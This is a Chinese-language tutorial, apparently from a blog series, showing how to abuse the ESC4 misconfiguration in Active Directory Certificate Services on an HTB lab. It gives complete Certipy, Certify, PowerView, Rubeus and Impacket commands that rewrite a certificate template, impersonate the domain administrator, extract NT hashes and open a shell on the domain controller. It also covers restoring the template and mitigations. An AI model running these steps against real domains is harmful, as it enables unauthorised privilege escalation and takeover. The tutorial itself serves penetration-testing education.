滥用ESC4通过模板ACL实现权限提升的ADCS攻击指南

本文详细介绍了如何利用Active Directory证书服务中模板ACL配置不当的ESC4漏洞,通过修改证书模板配置实现域权限提升,包含Linux和Windows两种环境的完整攻击步骤和缓解措施。

ADCS攻击系列:通过模板ACL滥用ESC4实现权限提升

Active Directory证书服务(ADCS)负责在AD环境中颁发和管理数字证书。这些证书用于加密和验证用户身份等用途。

但像AD中的大多数组件一样,ADCS也有自己的一系列漏洞,可能导致域权限升级和其他严重安全风险。这些错误配置使用"ESC"前缀加数字(如ESC1、ESC2等)来跟踪特定问题。

在本系列中,我将逐个分析这些错误配置,并以实用且易于理解的方式拆解它们。

今天,我们将探讨ESC4,即具有过度宽松访问控制列表(ACL)的证书模板(如向低权限用户或计算机授予WriteDacl、WriteOwner甚至GenericAll权限)如何被修改以使其可被滥用。我们将调整模板使其容易受到ESC1攻击,然后使用它来冒充特权用户(如域管理员)。

我将使用HTB Academy的ADCS攻击模块逐步演示这个过程。

目录

  • 理解ESC4
  • ESC4滥用要求
  • 所需工具
  • 通过用户主体滥用ESC4
    • A. Linux方法
    • B. Windows方法
  • 通过计算机主体滥用ESC4
    • 选项1:创建新的计算机账户
    • 选项2:使用已入侵的计算机账户
  • 缓解措施
  • 资源

理解ESC4

滥用ESC4始于找到一个具有过度宽松ACL的证书模板,这些ACL允许低权限用户或计算机(具有WriteDacl、WriteProperty、WriteOwner或GenericAll权限)修改模板配置,使其容易受到域升级攻击。

识别可修改模板时,最常见且直接的攻击路径是使其容易受到ESC1滥用技术的攻击,这让我们可以冒充高权限用户(如域管理员)。

ESC4滥用要求

要识别易受攻击的模板,我们使用Certipy或Certify等工具检查证书模板上的ACL权限。

对象控制权限:我们主要寻找对模板或具有这些权限的身份具有这些权限的组,如域用户、认证用户或域计算机。

下面是一个具有过度宽松ACL的易受ESC4攻击的模板示例。

所需工具

Linux:Certipy、Impacket、NetExec Windows:Certify、Rubeus、NetExec、Certipy.exe

通过用户主体滥用ESC4

A. Linux方法

1. 识别易受攻击的模板

我们首先使用Certipy检查证书模板,提供有效的域用户凭据和DC IP:

1
certipy find -u 'blwasp@lab.local' -p 'Password123!' -dc-ip 10.129.228.236 -vulnerable -stdout

如前一节所述,我们寻找授予低权限用户危险权限的证书模板,特别是那些允许他们修改模板配置的权限。

在审查Certipy输出时,我们重点关注"对象控制权限"部分,密切关注哪些主体拥有哪些权限。

在屏幕截图中,Certipy标记了易受攻击的模板,并突出显示了导致ESC4问题的确切ACL。

在此场景中,我们当前的域用户LAB.LOCAL\Black Wasp对模板具有完全控制权限,包括WriteOwner和WriteDacl权限。

我们还可以在BloodHound中检查易受攻击的模板,查看我们对它们拥有哪些权限。为此,我们查看"出站对象控制"视图,该视图显示了用户与其控制的对象之间的关系。

下面的屏幕截图显示,我们的用户blwasp@lab.local对ESC4模板具有GenericAll权限。

或者,我们可以运行预构建的查询:“已发布证书模板上的注册权限"来快速识别用户具有注册权限的模板。

2. 保存旧模板

在修改模板之前,保存旧配置非常重要,这样我们可以在攻击完成后恢复更改。在内部渗透测试期间,我们不希望给客户环境引入额外的漏洞。

📌 最好在修改前向客户报告更改,以防他们不希望看到完整的攻击流程,并且仅通过识别问题就感到满意。

下面是任何修改前的原始模板配置。

Certipy有一个标志用于此目的。在v4.8.2版本中,它被称为-save-old,在v5.0.2版本中,它被重命名为-save-configuration。此标志将模板配置保存为JSON文件,以便我们可以在准备恢复更改时稍后恢复它。

我使用的是v5.0.2版本,在此版本中,-save-configuration标志需要一个文件名来保存配置:

1
certipy template -u 'blWasp@lab.local' -p 'Password123!' -template ESC4 -dc-ip 10.129.228.236 -save-configuration ESC4-original

3. 修改模板

在此步骤中,我们修改模板,以便我们可以利用它进行域权限升级。最简单的更改之一是使模板容易受到ESC1攻击,这将允许我们冒充另一个用户(如域管理员)。

要使证书模板容易受到ESC1攻击,我们可以更新以下属性:

  • 启用注册者提供主题标志:这允许请求者指定自定义主题替代名称(SAN),如特权账户(如域管理员)的用户名。
  • 将证书名称标志设置为ENROLLEE_SUPPLIES_SUBJECT:这是启用上述行为的实际标志,允许在证书请求中使用伪造的身份字段。
  • 配置扩展密钥用法(EKU):EKU定义证书的使用方式。要滥用它进行身份验证,我们需要将其设置为客户端身份验证或任何用途。
  • 确保低权限用户或计算机(如认证用户、域用户或域计算机)对模板具有注册权限。
  • 将需要经理批准设置为false,并将授权签名要求设置为0,以确保在请求证书时不需要额外批准。

在Certipy v4.8.2版本中,使用-save-old标志运行上一个命令会自动保存原始配置,并一步使模板容易受到ESC1攻击。

然而,在较新的v5.0.2版本中,有一个名为-write-default-configuration的新标志,它将默认的ESC1配置应用于证书模板。如果你的目标是ESC1滥用,这简化了过程。

1
certipy template -u 'blWasp@lab.local' -p 'Password123!' -template ESC4 -dc-ip 10.129.228.236 -write-default-configuration

我们可以通过运行Certipy find命令检查ESC4模板是否已更新:

1
certipy find -u 'blwasp@lab.local' -p 'Password123!' -dc-ip 10.129.228.236 -stdout

如下所示,模板已成功更新,现在标记为容易受到ESC1攻击。

如果你想应用不同的配置,比如用于另一个ESC路径,你可以使用-write-configuration标志并将其指向自定义JSON文件。需要记住的一件事:你需要知道要修改的属性的对象标识符(OID)以及nTSecurityDescriptor。

最简单的方法是从先前保存的模板配置中复制值,调整你需要的内容,然后应用修改后的版本。

4. 作为模拟用户请求证书

现在我们可以通过指定其用户主体名称(UPN)来请求证书以冒充另一个用户(如域管理员)。

我们还需要指定具有易受攻击模板的证书颁发机构(CA)。这很重要,因为某些环境有多个CA,每个CA绑定到不同的模板。

我们还需要包括DC IP地址,以确保请求发送到正确的DC。

1
certipy -debug req -u 'blwasp@lab.local' -p 'Password123!' -template ESC4 -ca 'lab-LAB-DC-CA' -dc-ip 10.129.228.236 -dc-host LAB-DC.lab.local -target LAB-DC.lab.local -upn administrator@lab.local

5. 转储模拟账户的NT哈希

使用auth命令以管理员身份进行身份验证并获取NT哈希:

1
certipy auth -pfx administrator.pfx -domain lab.local -dc-ip 10.129.228.236

6. 访问域控制器

我们现在可以使用SMB或WMI访问DC。在这种情况下,我们将使用impacket-wmiexec:

1
impacket-wmiexec lab.local/administrator@10.129.185.247 -dc-ip 10.129.185.247 -hashes aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe

这确认了我们作为域管理员(管理员)对DC的访问,验证了基于证书的攻击路径成功为我们提供了特权访问。

7. 恢复模板配置

要恢复原始模板配置,我们将使用我们的备份文件ESC4-original.json来恢复我们所做的更改。在Certipy v4.8.2中,我们使用-configuration标志:

1
certipy template -u 'BlWasp@lab.local' -p 'Password123!' -template ESC4 -configuration ESC4-original.json

在Certipy v5.0.2及更高版本中,标志更新为-write-configuration

1
certipy template -u 'blWasp@lab.local' -p 'Password123!' -template ESC4 -dc-ip 10.129.185.247 -write-configuration ESC4-original.json

这确保模板恢复到其原始状态,这在完成攻击后进行清理非常重要。

8. 验证更改

恢复配置后,再次运行find命令以确认模板已正确恢复:

1
certipy find -u 'blwasp@lab.local' -p 'Password123!' -dc-ip 10.129.228.236 -stdout

检查我们修改的属性,如"证书名称标志"和"EKU"是否已恢复。如下所示,配置已恢复到其原始状态,与评估开始时的状态匹配。

B. Windows方法

1. 识别易受攻击的模板

我们从与Linux端相同的步骤开始:识别可用于滥用ESC4的证书模板。与Certipy不同,Certify不会明确标记模板为易受攻击,因此我们需要手动审查模板权限以确定它们是否可被利用。

最简单的方法是将输出保存到文件并离线审查权限。运行以下Certify命令:

1
.\Certify.exe find > certify_output.txt

如前所述,对于ESC4,我们专门寻找允许的"对象控制权限”,例如分配给低权限用户或组的GenericAll、WriteDacl、WriteOwner或WriteProperty。

为了使这更容易,你可以使用bash脚本解析certify_output.txt并仅返回模板名称及其对象控制权限,帮助你快速发现风险模板。

脚本输出显示用户blwasp对模板具有完全控制权限,以及WriteOwner和WriteDacl等附加权限。

2. 保存模板

Certify没有像Certipy那样内置保存证书模板配置的方法,因此我使用PowerShell和ADSI(实验性)找到了一个解决方法。

该脚本将模板备份到两个文件中:

  • 一个包含所有属性的.xml文件
  • 一个包含二进制格式ACL(安全描述符)的.acl.xml文件

要备份配置,我们将使用备份模式,如下所示:

1
.\Manage-CertTemplate.ps1 -Mode Backup -TemplateName "ESC4"

3. 修改模板

我们将修改ESC4模板的配置,使其容易受到ESC1攻击,就像我们在Linux端所做的那样。这可以使用PowerView或带有ADSI的本机PowerShell完成。

我们将更新以下属性:

  • 设置mspki-certificate-name-flag以包括ENROLLEE_SUPPLIES_SUBJECT标志,这允许请求者提供自定义用户名,标志值为0x00000001
  • 设置pKIExtendedKeyUsagemspki-certificate-application-policy属性以包括OID 1.3.6.1.5.5.7.3.2,该OID对应于客户端身份验证。
  • 授予低权限用户或组(如域用户或认证用户)注册权限。
  • 通过将需要经理批准设置为False并将授权签名要求设置为0来禁用批准要求。

这些更改使模板可通过ESC1被利用,允许我们请求可以冒充特权用户的证书。

使用PowerView的ESC1配置

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
#允许运行脚本
Set-ExecutionPolicy Bypass -Scope CurrentUser -Force

#导入PowerView模块
Import-Module .\PowerView.ps1

#启用SAN
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=lab,DC=local" -Identity ESC4 -Set @{'mspki-certificate-name-flag'=1} -Verbose

#设置PKI扩展密钥用法
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=lab,DC=local" -Identity ESC4 -Set @{'pkiextendedkeyusage'='1.3.6.1.5.5.7.3.2'} -Verbose
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=lab,DC=local" -Identity ESC4 -Set @{'mspki-certificate-application-policy'='1.3.6.1.5.5.7.3.2'} -Verbose

#添加证书注册权限
Add-DomainObjectAcl -TargetIdentity ESC4 -PrincipalIdentity "Domain Users" -RightsGUID "0e10c968-78fb-11d2-90d4-00c04f79dc55" -TargetSearchBase "LDAP://CN=Configuration,DC=lab,DC=local" -Verbose

#禁用经理批准要求
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=lab,DC=local" -Identity ESC4 -Set @{'mspki-enrollment-flag'=9} -Verbose

#禁用授权签名要求
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=lab,DC=local" -Identity ESC4 -Set @{'mspki-ra-signature'=0} -Verbose

使用PowerShell ADSI,请查看GitHub Gist获取完整脚本。

如下所示,修改后的ESC4模板输出为ESC1。

4. 作为模拟用户请求证书

现在我们可以请求证书以冒充另一个用户,如域管理员。为此,运行以下命令,并确保包括完整的证书颁发机构(CA)名称,例如:LAB-DC.lab.local\lab-LAB-DC-CA

1
.\Certify.exe request /ca:LAB-DC.lab.local\lab-LAB-DC-CA /template:ESC4 /altname:Administrator /domain:lab.local

在下面的屏幕截图中,当前用户blwasp能够成功请求冒充管理员(域管理员)的证书。

5. 转换证书

Certify生成的证书是.pem格式,包括私钥和证书。在我们可以与其他工具一起使用之前,我们需要使用OpenSSL将其转换为.pfx。

首先,将生成的证书和私钥保存到单个文本文件中,并将其命名为cert.pem。然后使用以下OpenSSL命令进行转换,确保你的机器上安装了OpenSSL:

1
& "C:\Program Files\OpenSSL-Win64\bin\openssl.exe" pkcs12 -in admin.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out admin.pfx

转换时,你可以按两次Enter键将密码留空,或者如果需要可以设置一个。在此示例中,我将其留空。

6. 证书身份验证

现在我们可以使用Rubeus和我们生成的证书进行身份验证。

我们将使用asktgt命令,指定模拟用户(管理员)、证书文件admin.pfx/getcredentials标志来提取NT哈希:

1
.\Rubeus.exe asktgt /user:administrator /certificate:admin.pfx /getcredentials

7. 恢复更改

现在我们将使用我们在备份步骤期间保存的XML文件恢复原始模板配置。运行以下命令:

1
.\Manage-CertTemplate.ps1 -Mode Restore -TemplateName "ESC4"

然后,再次运行Certify.exe find命令以验证模板配置是否已恢复。如输出所示,模板已恢复到其原始状态。

1
.\Certify.exe find

📌注意:Certipy现在在其GitHub存储库中提供了Windows版本(Certipy.exe)。它帮助你避免依赖PowerShell脚本、Certify或手动备份和恢复模板配置的麻烦。

也就是说,我仍然想展示这种方法作为替代方案,因为在红队或内部评估中,我们经常需要绕过工具限制或发挥创意以达到我们的目标。

通过计算机主体滥用ESC4

如果证书模板允许域计算机或特定计算机账户修改它,我们可以按照"通过用户主体滥用ESC4"中的相同步骤操作,但需要进行一些调整。

你可以采取两种路径:

  • 创建新的计算机账户
  • 使用已入侵的计算机账户

选项1:创建新的计算机账户

如果模板授予域计算机控制权限(具有GenericAll、WriteDacl或WriteProperty权限),我们可以创建一个我们完全控制的新计算机账户。这假设环境允许这样做。

默认情况下,标准域用户可以在Active Directory中创建最多10个计算机账户。但是,某些环境通过修改ms-DS-MachineAccountQuota属性将此值减少到0,以防止此类滥用。

我们可以使用nxc和maq模块快速检查机器配额:

1
nxc ldap 10.129.185.247 -u blwasp -p 'Password123!' -M maq

如果返回10,这意味着用户最多可以添加10个机器账户。接下来,使用Impacket的addcomputer脚本创建一个机器账户:

1
impacket-addcomputer -dc-ip 10.129.185.247 -computer-name TESTMACHINE01 -computer-pass TEST_password1234! lab.local/blwasp:'Password123!'

在Windows上,我们可以使用PowerMad创建计算机账户:

1
2
Import-Module .\PowerMad.ps1
New-MachineAccount -MachineAccount TESTMACHINE01 -Password (ConvertTo-SecureString 'TEST_password1234!' -AsPlainText -Force)

有关使用PowerMad的完整演练,请参阅之前的文章:“滥用基于资源的约束委派以获得未经授权的访问"或查看Notion备忘单以获取分步指导。

选项2:使用已入侵的计算机账户

此选项涉及获取对已具有证书模板控制权限的计算机账户的访问权限。要利用此选项,我们需要在目标系统上拥有本地管理员权限。

一旦我们拥有管理员访问权限,我们可以使用Mimikatz(非常可检测)提取机器账户的哈希,然后使用它以该计算机账户进行身份验证。这使我们能够修改模板并进行ESC4滥用。

虽然本文未涵盖此路径的完整工作流程,但将其包括在内非常重要,特别是在特定计算机账户对证书模板具有过度宽松ACL的场景中。

缓解措施

  • 审查证书模板上的ACL。确保低权限用户或组未被授予WriteDacl、WriteOwner或完全控制等权限。只有受信任的管理员应该能够修改模板。
  • 检查谁可以在每个模板中注册。不要将其开放给域用户等组,如果模板未使用,只需禁用它。
  • 通过跟踪证书请求的修改来监控模板更改,这可以使用内置的Windows事件日志完成:
    • 4899 – 更改CA安全设置
    • 4886 – 证书服务收到证书请求。

总结

这结束了我们通过用户和计算机主体滥用ESC4的深入探讨。这里的关键要点是证书模板上过度宽松的ACL有多么危险,特别是当它们允许低权限用户或计算机修改模板并将其重塑为可滥用的东西(如ESC1)时。

无论你是使用Linux上的Certipy攻击此漏洞,还是使用Windows上的Certify和PowerView,步骤基本相同:找到正确的权限,调整模板,请求证书,然后升级权限。只是不要忘记在完成后清理并恢复原始配置。

感谢阅读!!

资源

  • Certified Pre-Owned
  • AD CS ESC4 Privilege Escalation Tutorial | Hack Active Directory Certificate Services
  • Abusing Active Directory Certificate Services (ADCS) | ESC4 Attack Explained
  • Abusing Active Directory Certificate Services — Part 2
  • ADCS: Playing with ESC4
  • AD CS 102: How to Detect and Mitigate ESC4 Attacks on Active Directory Certificate Services
  • Pwning the Domain: AD CS
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计